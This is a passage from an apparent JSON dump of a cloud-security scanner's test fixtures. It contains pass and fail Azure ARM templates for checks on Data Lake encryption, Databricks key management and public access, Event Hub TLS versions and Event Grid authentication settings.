\"[concat(parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name, '/', 'default')]\",\n                            \"location\": \"[parameters('location')]\",\n                            \"dependsOn\": [\n                                \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]\"\n                            ],\n                            \"properties\": {\n                                \"privateDnsZoneConfigs\": [\n                                    {\n                                        \"name\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]\",\n                                        \"properties\": {\n                                            \"privateDnsZoneId\": \"[concat('/subscriptions/',variables('subNetSub'),'/resourcegroups/',variables('subNetRg'), '/providers/Microsoft.Network/privateDnsZones/', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName )]\"\n                                        }\n                                    }\n                                ]\n                            }\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_DataLakeStoreEncryption/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DataLakeStore/accounts\",\n      \"apiVersion\": \"2016-11-01\",\n      \"name\": \"fail\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"encryptionState\": \"Disabled\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_DataLakeStoreEncryption/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DataLakeStore/accounts\",\n      \"apiVersion\": \"2016-11-01\",\n      \"name\": \"pass\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_DataLakeStoreEncryption/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DataLakeStore/accounts\",\n      \"apiVersion\": \"2016-11-01\",\n      \"name\": \"pass2\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"encryptionState\": \"Enabled\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey/fail.json",
    "content": "{\n          \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n          \"contentVersion\": \"1.0.0.0\",\n          \"parameters\": {\n            \"managedResourceGroupName\": {\n              \"type\": \"string\"\n            },\n            \"workspaceName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The name of the Azure Databricks workspace to create.\"\n              }\n            },\n            \"location\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"Location for all resources.\"\n              }\n            },\n            \"pricingTier\": {\n              \"type\": \"string\",\n              \"allowedValues\": [\n                \"standard\",\n                \"premium\"\n              ],\n              \"metadata\": {\n                \"description\": \"The pricing tier of workspace.\"\n              }\n            },\n            \"keyVaultName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The Azure Key Vault name.\"\n              }\n            },\n            \"keyName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The Azure Key Vault encryption key name.\"\n              }\n            },\n            \"disablePublicIp\": {\n              \"type\": \"bool\",\n              \"metadata\": {\n                \"description\": \"Specifies whether to deploy Azure Databricks workspace with Secure Cluster Connectivity (No Public IP) enabled or not\"\n              }\n            }\n          },\n          \"resources\": [\n            {\n              \"type\": \"Microsoft.Databricks/workspaces\",\n              \"apiVersion\": \"2023-02-01\",\n              \"name\": \"[parameters('workspaceName')]\",\n              \"location\": \"[parameters('location')]\",\n              \"sku\": {\n                \"name\": \"[parameters('pricingTier')]\"\n              },\n              \"properties\": {\n                \"managedResourceGroupId\": \"[subscriptionResourceId('Microsoft.Resources/resourceGroups', parameters('managedResourceGroupName'))]\",\n                \"parameters\": {\n                  \"enableNoPublicIp\": {\n                    \"value\": \"[parameters('disablePublicIp')]\"\n                  }\n                }\n              }\n            }\n          ]\n        }"
  },
  {
    "path": "tests/arm/checks/resource/example_DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey/fail2.json",
    "content": "{\n          \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n          \"contentVersion\": \"1.0.0.0\",\n          \"parameters\": {\n            \"managedResourceGroupName\": {\n              \"type\": \"string\"\n            },\n            \"workspaceName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The name of the Azure Databricks workspace to create.\"\n              }\n            },\n            \"location\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"Location for all resources.\"\n              }\n            },\n            \"pricingTier\": {\n              \"type\": \"string\",\n              \"allowedValues\": [\n                \"standard\",\n                \"premium\"\n              ],\n              \"metadata\": {\n                \"description\": \"The pricing tier of workspace.\"\n              }\n            },\n            \"keyVaultName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The Azure Key Vault name.\"\n              }\n            },\n            \"keyName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The Azure Key Vault encryption key name.\"\n              }\n            },\n            \"disablePublicIp\": {\n              \"type\": \"bool\",\n              \"metadata\": {\n                \"description\": \"Specifies whether to deploy Azure Databricks workspace with Secure Cluster Connectivity (No Public IP) enabled or not\"\n              }\n            }\n          },\n          \"resources\": [\n            {\n              \"type\": \"Microsoft.Databricks/workspaces\",\n              \"apiVersion\": \"2023-02-01\",\n              \"name\": \"[parameters('workspaceName')]\",\n              \"location\": \"[parameters('location')]\",\n              \"sku\": {\n                \"name\": \"[parameters('pricingTier')]\"\n              },\n              \"properties\": {\n                \"managedResourceGroupId\": \"[subscriptionResourceId('Microsoft.Resources/resourceGroups', parameters('managedResourceGroupName'))]\",\n                \"parameters\": {\n                  \"prepareEncryption\": {\n                    \"value\": false\n                  },\n                  \"enableNoPublicIp\": {\n                    \"value\": \"[parameters('disablePublicIp')]\"\n                  }\n                }\n              }\n            }\n          ]\n        }"
  },
  {
    "path": "tests/arm/checks/resource/example_DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey/pass.json",
    "content": "{\n          \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n          \"contentVersion\": \"1.0.0.0\",\n          \"parameters\": {\n            \"managedResourceGroupName\": {\n              \"type\": \"string\"\n            },\n            \"workspaceName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The name of the Azure Databricks workspace to create.\"\n              }\n            },\n            \"location\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"Location for all resources.\"\n              }\n            },\n            \"pricingTier\": {\n              \"type\": \"string\",\n              \"allowedValues\": [\n                \"standard\",\n                \"premium\"\n              ],\n              \"metadata\": {\n                \"description\": \"The pricing tier of workspace.\"\n              }\n            },\n            \"keyVaultName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The Azure Key Vault name.\"\n              }\n            },\n            \"keyName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The Azure Key Vault encryption key name.\"\n              }\n            },\n            \"disablePublicIp\": {\n              \"type\": \"bool\",\n              \"metadata\": {\n                \"description\": \"Specifies whether to deploy Azure Databricks workspace with Secure Cluster Connectivity (No Public IP) enabled or not\"\n              }\n            }\n          },\n          \"resources\": [\n            {\n              \"type\": \"Microsoft.Databricks/workspaces\",\n              \"apiVersion\": \"2023-02-01\",\n              \"name\": \"[parameters('workspaceName')]\",\n              \"location\": \"[parameters('location')]\",\n              \"sku\": {\n                \"name\": \"[parameters('pricingTier')]\"\n              },\n              \"properties\": {\n                \"managedResourceGroupId\": \"[subscriptionResourceId('Microsoft.Resources/resourceGroups', parameters('managedResourceGroupName'))]\",\n                \"parameters\": {\n                  \"prepareEncryption\": {\n                    \"value\": true\n                  },\n                  \"encryption\": {\n                    \"value\": {\n                      \"keySource\": \"Microsoft.Keyvault\",\n                      \"keyvaulturi\": \"[uri(format('https://{0}{1}', parameters('keyVaultName'), environment().suffixes.keyvaultDns), '/')]\",\n                      \"KeyName\": \"[parameters('keyName')]\"\n                    }\n                  },\n                  \"enableNoPublicIp\": {\n                    \"value\": \"[parameters('disablePublicIp')]\"\n                  }\n                }\n              }\n            }\n          ]\n        }"
  },
  {
    "path": "tests/arm/checks/resource/example_DatabricksWorkspaceIsNotPublic/fail.json",
    "content": "{\n          \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n          \"contentVersion\": \"1.0.0.0\",\n          \"parameters\": {\n            \"managedResourceGroupName\": {\n              \"type\": \"string\"\n            },\n            \"workspaceName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The name of the Azure Databricks workspace to create.\"\n              }\n            },\n            \"location\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"Location for all resources.\"\n              }\n            },\n            \"pricingTier\": {\n              \"type\": \"string\",\n              \"allowedValues\": [\n                \"standard\",\n                \"premium\"\n              ],\n              \"metadata\": {\n                \"description\": \"The pricing tier of workspace.\"\n              }\n            },\n            \"keyVaultName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The Azure Key Vault name.\"\n              }\n            },\n            \"keyName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The Azure Key Vault encryption key name.\"\n              }\n            },\n            \"disablePublicIp\": {\n              \"type\": \"bool\",\n              \"metadata\": {\n                \"description\": \"Specifies whether to deploy Azure Databricks workspace with Secure Cluster Connectivity (No Public IP) enabled or not\"\n              }\n            }\n          },\n          \"resources\": [\n            {\n              \"type\": \"Microsoft.Databricks/workspaces\",\n              \"apiVersion\": \"2023-02-01\",\n              \"name\": \"[parameters('workspaceName')]\",\n              \"location\": \"[parameters('location')]\",\n              \"sku\": {\n                \"name\": \"[parameters('pricingTier')]\"\n              },\n              \"properties\": {\n                \"publicNetworkAccess\": \"Enabled\",\n                \"managedResourceGroupId\": \"[subscriptionResourceId('Microsoft.Resources/resourceGroups', parameters('managedResourceGroupName'))]\",\n                \"parameters\": {\n                  \"enableNoPublicIp\": {\n                    \"value\": \"[parameters('disablePublicIp')]\"\n                  }\n                }\n              }\n            }\n          ]\n        }"
  },
  {
    "path": "tests/arm/checks/resource/example_DatabricksWorkspaceIsNotPublic/fail2.json",
    "content": "{\n          \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n          \"contentVersion\": \"1.0.0.0\",\n          \"parameters\": {\n            \"managedResourceGroupName\": {\n              \"type\": \"string\"\n            },\n            \"workspaceName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The name of the Azure Databricks workspace to create.\"\n              }\n            },\n            \"location\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"Location for all resources.\"\n              }\n            },\n            \"pricingTier\": {\n              \"type\": \"string\",\n              \"allowedValues\": [\n                \"standard\",\n                \"premium\"\n              ],\n              \"metadata\": {\n                \"description\": \"The pricing tier of workspace.\"\n              }\n            },\n            \"keyVaultName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The Azure Key Vault name.\"\n              }\n            },\n            \"keyName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The Azure Key Vault encryption key name.\"\n              }\n            },\n            \"disablePublicIp\": {\n              \"type\": \"bool\",\n              \"metadata\": {\n                \"description\": \"Specifies whether to deploy Azure Databricks workspace with Secure Cluster Connectivity (No Public IP) enabled or not\"\n              }\n            }\n          },\n          \"resources\": [\n            {\n              \"type\": \"Microsoft.Databricks/workspaces\",\n              \"apiVersion\": \"2023-02-01\",\n              \"name\": \"[parameters('workspaceName')]\",\n              \"location\": \"[parameters('location')]\",\n              \"sku\": {\n                \"name\": \"[parameters('pricingTier')]\"\n              },\n              \"properties\": {\n                \"managedResourceGroupId\": \"[subscriptionResourceId('Microsoft.Resources/resourceGroups', parameters('managedResourceGroupName'))]\",\n                \"parameters\": {\n                  \"enableNoPublicIp\": {\n                    \"value\": \"[parameters('disablePublicIp')]\"\n                  }\n                }\n              }\n            }\n          ]\n        }"
  },
  {
    "path": "tests/arm/checks/resource/example_DatabricksWorkspaceIsNotPublic/pass.json",
    "content": "{\n          \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n          \"contentVersion\": \"1.0.0.0\",\n          \"parameters\": {\n            \"managedResourceGroupName\": {\n              \"type\": \"string\"\n            },\n            \"workspaceName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The name of the Azure Databricks workspace to create.\"\n              }\n            },\n            \"location\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"Location for all resources.\"\n              }\n            },\n            \"pricingTier\": {\n              \"type\": \"string\",\n              \"allowedValues\": [\n                \"standard\",\n                \"premium\"\n              ],\n              \"metadata\": {\n                \"description\": \"The pricing tier of workspace.\"\n              }\n            },\n            \"keyVaultName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The Azure Key Vault name.\"\n              }\n            },\n            \"keyName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The Azure Key Vault encryption key name.\"\n              }\n            },\n            \"disablePublicIp\": {\n              \"type\": \"bool\",\n              \"metadata\": {\n                \"description\": \"Specifies whether to deploy Azure Databricks workspace with Secure Cluster Connectivity (No Public IP) enabled or not\"\n              }\n            }\n          },\n          \"resources\": [\n            {\n              \"type\": \"Microsoft.Databricks/workspaces\",\n              \"apiVersion\": \"2023-02-01\",\n              \"name\": \"[parameters('workspaceName')]\",\n              \"location\": \"[parameters('location')]\",\n              \"sku\": {\n                \"name\": \"[parameters('pricingTier')]\"\n              },\n              \"properties\": {\n                \"publicNetworkAccess\": \"Disabled\",\n                \"requiredNsgRules\": \"AllRules\",\n                \"managedResourceGroupId\": \"[subscriptionResourceId('Microsoft.Resources/resourceGroups', parameters('managedResourceGroupName'))]\",\n                \"parameters\": {\n                  \"enableNoPublicIp\": {\n                    \"value\": \"[parameters('disablePublicIp')]\"\n                  }\n                }\n              }\n            }\n          ]\n        }"
  },
  {
    "path": "tests/arm/checks/resource/example_DatabricksWorkspaceIsNotPublic/pass2.json",
    "content": "{\n          \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n          \"contentVersion\": \"1.0.0.0\",\n          \"parameters\": {\n            \"managedResourceGroupName\": {\n              \"type\": \"string\"\n            },\n            \"workspaceName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The name of the Azure Databricks workspace to create.\"\n              }\n            },\n            \"location\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"Location for all resources.\"\n              }\n            },\n            \"pricingTier\": {\n              \"type\": \"string\",\n              \"allowedValues\": [\n                \"standard\",\n                \"premium\"\n              ],\n              \"metadata\": {\n                \"description\": \"The pricing tier of workspace.\"\n              }\n            },\n            \"keyVaultName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The Azure Key Vault name.\"\n              }\n            },\n            \"keyName\": {\n              \"type\": \"string\",\n              \"metadata\": {\n                \"description\": \"The Azure Key Vault encryption key name.\"\n              }\n            },\n            \"disablePublicIp\": {\n              \"type\": \"bool\",\n              \"metadata\": {\n                \"description\": \"Specifies whether to deploy Azure Databricks workspace with Secure Cluster Connectivity (No Public IP) enabled or not\"\n              }\n            }\n          },\n          \"resources\": [\n            {\n              \"type\": \"Microsoft.Databricks/workspaces\",\n              \"apiVersion\": \"2023-02-01\",\n              \"name\": \"[parameters('workspaceName')]\",\n              \"location\": \"[parameters('location')]\",\n              \"sku\": {\n                \"name\": \"[parameters('pricingTier')]\"\n              },\n              \"properties\": {\n                \"publicNetworkAccess\": \"Disabled\",\n                \"requiredNsgRules\": \"NoAzureDatabricksRules\",\n                \"managedResourceGroupId\": \"[subscriptionResourceId('Microsoft.Resources/resourceGroups', parameters('managedResourceGroupName'))]\",\n                \"parameters\": {\n                  \"enableNoPublicIp\": {\n                    \"value\": \"[parameters('disablePublicIp')]\"\n                  }\n                }\n              }\n            }\n          ]\n        }"
  },
  {
    "path": "tests/arm/checks/resource/example_EventHubNamespaceMinTLS12/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.EventHub/namespaces\",\n      \"apiVersion\": \"2024-01-01\",\n      \"name\": \"fail\",\n      \"location\": \"[resourceGroup().location]\",\n      \"sku\": {\n        \"name\": \"Standard\"\n      },\n      \"properties\": {\n        \"minimumTlsVersion\": \"1.1\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_EventHubNamespaceMinTLS12/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.EventHub/namespaces\",\n      \"apiVersion\": \"2024-01-01\",\n      \"name\": \"pass\",\n      \"location\": \"[resourceGroup().location]\",\n      \"sku\": {\n        \"name\": \"Standard\",\n        \"capacity\": 2\n      },\n      \"properties\": {\n        \"minimumTlsVersion\": \"1.2\"\n      },\n      \"tags\": {\n        \"environment\": \"Production\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_EventHubNamespaceMinTLS12/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.EventHub/namespaces\",\n      \"apiVersion\": \"2024-01-01\",\n      \"name\": \"pass2\",\n      \"location\": \"[resourceGroup().location]\",\n      \"sku\": {\n        \"name\": \"Standard\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_EventgridTopicIdentityProviderEnabled/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.EventGrid/topics\",\n      \"apiVersion\": \"2023-12-15-preview\",\n      \"name\": \"fail\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"sku\": {\n        \"name\": \"string\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\",\n        \"type\": \"string\"\n      },\n      \"identity\": {\n        \"principalId\": \"string\",\n        \"tenantId\": \"string\",\n        \"userAssignedIdentities\": {\n          \"{customized property}\": {\n            \"clientId\": \"string\",\n            \"principalId\": \"string\"\n          }\n        }\n      },\n      \"properties\": {\n        \"dataResidencyBoundary\": \"string\",\n        \"eventTypeInfo\": {\n          \"inlineEventTypes\": {\n            \"{customized property}\": {\n              \"dataSchemaUrl\": \"string\",\n              \"description\": \"string\",\n              \"displayName\": \"string\",\n              \"documentationUrl\": \"string\"\n            }\n          },\n          \"kind\": \"Inline\"\n        },\n        \"inboundIpRules\": [\n          {\n            \"action\": \"Allow\",\n            \"ipMask\": \"string\"\n          }\n        ],\n        \"inputSchema\": \"string\",\n        \"inputSchemaMapping\": {\n          \"inputSchemaMappingType\": \"string\"\n        },\n        \"minimumTlsVersionAllowed\": \"string\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_EventgridTopicIdentityProviderEnabled/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.EventGrid/topics\",\n      \"apiVersion\": \"2023-12-15-preview\",\n      \"name\": \"pass\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"sku\": {\n        \"name\": \"string\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\",\n        \"type\": \"string\"\n      },\n      \"identity\": {\n        \"principalId\": \"string\",\n        \"tenantId\": \"string\",\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {\n          \"{customized property}\": {\n            \"clientId\": \"string\",\n            \"principalId\": \"string\"\n          }\n        }\n      },\n      \"properties\": {\n        \"dataResidencyBoundary\": \"string\",\n        \"disableLocalAuth\": false,\n        \"eventTypeInfo\": {\n          \"inlineEventTypes\": {\n            \"{customized property}\": {\n              \"dataSchemaUrl\": \"string\",\n              \"description\": \"string\",\n              \"displayName\": \"string\",\n              \"documentationUrl\": \"string\"\n            }\n          },\n          \"kind\": \"Inline\"\n        },\n        \"inboundIpRules\": [\n          {\n            \"action\": \"Allow\",\n            \"ipMask\": \"string\"\n          }\n        ],\n        \"inputSchema\": \"string\",\n        \"inputSchemaMapping\": {\n          \"inputSchemaMappingType\": \"string\"\n        },\n        \"minimumTlsVersionAllowed\": \"string\",\n        \"publicNetworkAccess\": \"disabled\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_EventgridTopicLocalAuthentication/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.EventGrid/topics\",\n      \"apiVersion\": \"2023-12-15-preview\",\n      \"name\": \"fail\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"sku\": {\n        \"name\": \"string\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\",\n        \"type\": \"string\"\n      },\n      \"identity\": {\n        \"principalId\": \"string\",\n        \"tenantId\": \"string\",\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {\n          \"{customized property}\": {\n            \"clientId\": \"string\",\n            \"principalId\": \"string\"\n          }\n        }\n      },\n      \"properties\": {\n        \"dataResidencyBoundary\": \"string\",\n        \"eventTypeInfo\": {\n          \"inlineEventTypes\": {\n            \"{customized property}\": {\n              \"dataSchemaUrl\": \"string\",\n              \"description\": \"string\",\n              \"displayName\": \"string\",\n              \"documentationUrl\": \"string\"\n            }\n          },\n          \"kind\": \"Inline\"\n        },\n        \"inboundIpRules\": [\n          {\n            \"action\": \"Allow\",\n            \"ipMask\": \"string\"\n          }\n        ],\n        \"inputSchema\": \"string\",\n        \"inputSchemaMapping\": {\n          \"inputSchemaMappingType\": \"string\"\n        },\n        \"minimumTlsVersionAllowed\": \"string\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_EventgridTopicLocalAuthentication/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.EventGrid/topics\",\n      \"apiVersion\": \"2023-12-15-preview\",\n      \"name\": \"fail2\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"sku\": {\n        \"name\": \"string\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\",\n        \"type\": \"string\"\n      },\n      \"identity\": {\n        \"principalId\": \"string\",\n        \"tenantId\": \"string\",\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {\n          \"{customized property}\": {\n            \"clientId\": \"string\",\n            \"principalId\": \"string\"\n          }\n        }\n      },\n      \"properties\": {\n        \"dataResidencyBoundary\": \"string\",\n        \"disableLocalAuth\": false,\n        \"eventTypeInfo\": {\n          \"inlineEventTypes\": {\n            \"{customized property}\": {\n              \"dataSchemaUrl\": \"string\",\n              \"description\": \"string\",\n              \"displayName\": \"string\",\n              \"documentationUrl\": \"string\"\n            }\n          },\n          \"kind\": \"Inline\"\n        },\n        \"inboundIpRules\": [\n          {\n            \"action\": \"Allow\",\n            \"ipMask\": \"string\"\n          }\n        ],\n        \"inputSchema\": \"string\",\n        \"inputSchemaMapping\": {\n          \"inputSchemaMappingType\": \"string\"\n        },\n        \"minimumTlsVersionAllowed\": \"string\",\n        \"publicNetworkAccess\": \"enabled\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_EventgridTopicLocalAuthentication/pass.json",
